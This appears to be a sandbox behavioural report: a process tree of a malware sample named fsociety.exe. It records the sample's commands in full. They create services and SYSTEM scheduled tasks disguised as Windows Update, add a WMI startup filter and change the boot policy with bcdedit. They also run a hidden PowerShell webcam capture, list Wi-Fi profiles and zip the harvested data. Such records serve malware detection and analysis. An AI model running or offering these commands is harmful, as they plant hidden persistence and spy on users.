- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:228
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:4080
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  PID:1820
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:1576
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  PID:772
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:944
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:5708
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  PID:4308
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:5684
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:5780
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:5776
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:6092
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:6056
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:4256
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:1336
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:676
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:2528
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:4940
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:4916
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:3976
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:4876
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:2412
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:2080
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:1984
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1144
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:3840
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:1268
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:4784
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:888
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:5396
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:5364
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:3532
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:5228
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:5588
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:2628
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1576
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:5760
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4520
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:2584
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1688
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1144
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:420
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:4036
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:3532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:5480
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5436
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:1740
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:436
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:3936
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:3184
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:5308
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4464
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:4660
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:4532
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:4164
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:5676
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2644
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:2864
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:4056
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5960
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:4164
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5196
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:3940
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:912
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:1016
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:5108
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:2768
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:3324
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:4056
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:5000
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:700
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:1408
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:1264
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5104
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:1148
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:1816
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      Launches sc.exe
      PID:5392
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5608
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:916
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:5500
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:2380
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:784
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:5064
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:6292
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:6912
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1772
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:1096
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:6876
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:6612
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:6896
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:5908
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:2252
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:6872
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7340
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7948
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6420
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:328
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:3416
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6828
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7024
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6720
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:6472
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:5848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:5380
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240660125.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240660125.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240660125.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240660125.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4880
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3056
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240660046\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:1336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240660046\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3844

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
- Executes dropped EXE
PID:3420
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:5888
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:5732
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:6112
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6100
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:1264
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1116
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:2896
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:1180
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2384
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:3688
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:3936
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:3748
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:4892
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:4604
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:5276
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:1696
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:3464
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:5740
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:6076
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:2272
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:4476
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:4856
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:2328
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:3264
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:4776
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:2656
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:4920
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:1396
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:4428
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:944
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:5612
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:5180
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      Launches sc.exe
      PID:3800
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5768
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:1408
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:2348
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:2472
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1616
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:4988
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:2384
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:1928
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:5492
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:3800
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:2776
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:4776
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:1624
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4320
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:4576
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5104
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:1788
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5956
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:744
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5476
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:1548
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:2588
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:428
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:236
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5868
- - C:\Windows\system32\fsociety.exe
    "C:\Windows\system32\fsociety.exe"
    3⤵
    PID:2160
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WindowsUpdate >nul 2>&1
      4⤵
      PID:5092
    - - C:\Windows\system32\sc.exe
        
        sc stop WindowsUpdate
        5⤵
        
        PID:5808
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete WindowsUpdate >nul 2>&1
      4⤵
      PID:2300
    - - C:\Windows\system32\sc.exe
        
        sc delete WindowsUpdate
        5⤵
        
        PID:1744
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
      4⤵
      Executes a command shell one-liner
      PID:1692
    - - C:\Windows\system32\sc.exe
        
        sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
        5⤵
        
        PID:6464
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
      4⤵
      PID:6784
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate start= boot
        5⤵
        
        PID:7112
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
      4⤵
      PID:5832
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate type= own
        5⤵
        
        PID:5472
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
      4⤵
      PID:2224
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate obj= LocalSystem
        5⤵
        
        PID:6720
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
      4⤵
      PID:6804
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate error= ignore
